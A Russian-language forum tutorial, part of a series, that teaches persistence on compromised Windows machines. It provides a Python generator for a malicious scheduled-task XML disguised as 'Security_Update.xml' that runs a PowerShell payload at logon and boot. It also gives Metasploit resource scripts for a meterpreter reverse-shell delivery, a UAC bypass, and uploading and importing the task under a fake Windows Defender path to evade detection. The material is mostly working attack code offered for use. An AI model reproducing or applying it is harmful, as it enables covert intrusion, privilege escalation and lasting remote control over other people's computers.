Часть 5
Предыдущая частьСледующая часть
Все части
Доброго времен суток колеги. Сегодня продолжим с вами использовать PowerShell для демонстрации компрометации Windows машин (от версии Windows 7 , где он предустановлен по умолчанию)
Сегодня конкретно нового об PowerShell мы не узнаем ,а просто используем пейлоад на нем, для закрепление в системе через
Ссылка скрыта от гостей
Одна из возможностей планировщика заданий - импорт задачи и параметры ее запуска с XML файла. В одной из своих статей ,где я делал обзор одной утилиты по обходу АВ , использовалась техника импорта XML в планировщик заданий.Но там что мне не понравилось, так это то что локально хранился бинарный файл,который может просто удалится или со временем быть обнаруженным антивирусами.
По этому я взял на вооружения эту технику и покажу вам сегодня авторский подход к ней, а именно :
- как создавать такую вредоносную xml
- как внедрить туда полезную нагрузку на PowerShell
- как снизить шансы на обнаружения такой задачи в планировщике
- как автоматизировать действия в Metasploit
DarkNode сказал(а):Сразу же хочу обратить внимания что данный метод требует повышенных привилегий!! По этому для этих целей прекрасно подойдет техника описанная колегой @Vander в его статье про повышение привилегий
И так, давайте разберемся откуда ноги растут) Сперва давайте поймем с вами как получить такую XML. Такая XML получается путем експорта задачи из планировщика задачи. Так что давайте сначала создадим нашу задачу:
Выставим необходимые нам тригеры(условия когда будет запускаться наша задача)
Укажем действие которое будет выполнятся:
Посмотрим на содержимое нашей XML,видим интересующие нас теги <Command> и <Arguments>:
В принципе можно удалить сразу же нашу задачу , что бы проверить как работает импорт задачи из командной строки:
Далее откроем командную строку,посмотрим справку команды schtasks /Create /?
Видим интересный нам параметр ,который позволяет импортировать задачу из XML файла. Проверяем командой:
schtasks /Create /XML codeby_demo.xml /TN тут_любое_имя_нашей_задачи:
Тут надеюсь понятно,теперь что бы не проделывать эти действия с импортом и експортом постоянно, я для удобства создал скрипт который будет брать за шаблон такую XML и изменять только передаваемые параметры для PowerShell:
[hidepl="1,3"]
Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
command=raw_input("Введите ваши аргументы(параметры) команды PowerShell:\n")
def gen_xml(command):
string="""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
<BootTrigger>
<Enabled>true</Enabled>
</BootTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions>
<Exec>
<Command>powershell.exe</Command>
<Arguments>%s</Arguments>
</Exec>
</Actions>
</Task>""" %(command)
return string
with open("Security_Update.xml","w") as f:
f.write(gen_xml(command))
f.close
После его отработки создаться файл Security_Update.xml с нужной нам полезной нагрузкой.
Давайте теперь перейдем к фазе с метасплоитом.
Для начала хочу что бы вы научились автоматизировать вводимые команды через ресурс_файл(файл с командами которые мы последовательно вводим в консоли метасплоита)
Выглядит ресурс файл примерно так:
priv.rc сказал(а):use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.103
set lport 4444
exploit -j
Это полезно тогда ,когда мы часто вводим одни и те же команды в метасплоите при каждом запуске и т.д
И я использую это для удобвства.
Выполнить этот ресурс файл можно двумя способами:
- При запуске метасплоита через параметр -r ( msfconsole -r web_del.rc)
- И находясь в самом метасплоите командой resources (msf>resources /root/web_del.rc)
Теперь давайте сперва получим сессию метерпретора и подготовим скрипт для автоматического повышения привилегий и закрепление в системе через нашу вредоносную xml.
Сперва подготовим XML:
Генерируем саму команду для павершел и копируем передаваемые параметры:
Теперь создаем нашу вредоносную XML через наш скрипт:
Проверим:
Теперь подготовим скрипт для повышение привилегий:
set AutoRunScript multi_console_command -rc meter.rc -- указываем что нужно будет выполнить набор команд из ресурс файла meter.rc при успешной метерпретер сессииMetasploit сказал(а):use exploit/windows/local/bypassuac_eventvwr
set session 2
set payload windows/meterpreter/reverse_tcp
set LPORT 4488
set LHOST 192.168.0.103
set AutoRunScript multi_console_command -rc meter.rc
explot -j
содержание meter.rc:
Думаю тут понятно все, создается папка в %appdata% Windows , в нее грузится наша XML , делается импорт и XML удаляется.meter.rc сказал(а):cd %appdata%
mkdir Windows
cd Windows
upload Security_Update.xml
execute -i -f "schtasks /Create /XML Security_Update.xml /TN \\Microsoft\\Windows\\WinDefender"
rm Security_Update.xml
Хочу заметить что для скрытие от наблюдение пользователя я в качестве имени передал путь к папке где лежать задачи которые запускает операционная система Windows - это значительно уменьшит риск обнаружения.
На деле выглядит примерно так:
В результате чего получаем скрытую задачу в планировщике заданий:
Всем спасибо) Продолжение следует)
Предыдущая часть
Следующая часть
Все части
Последнее редактирование: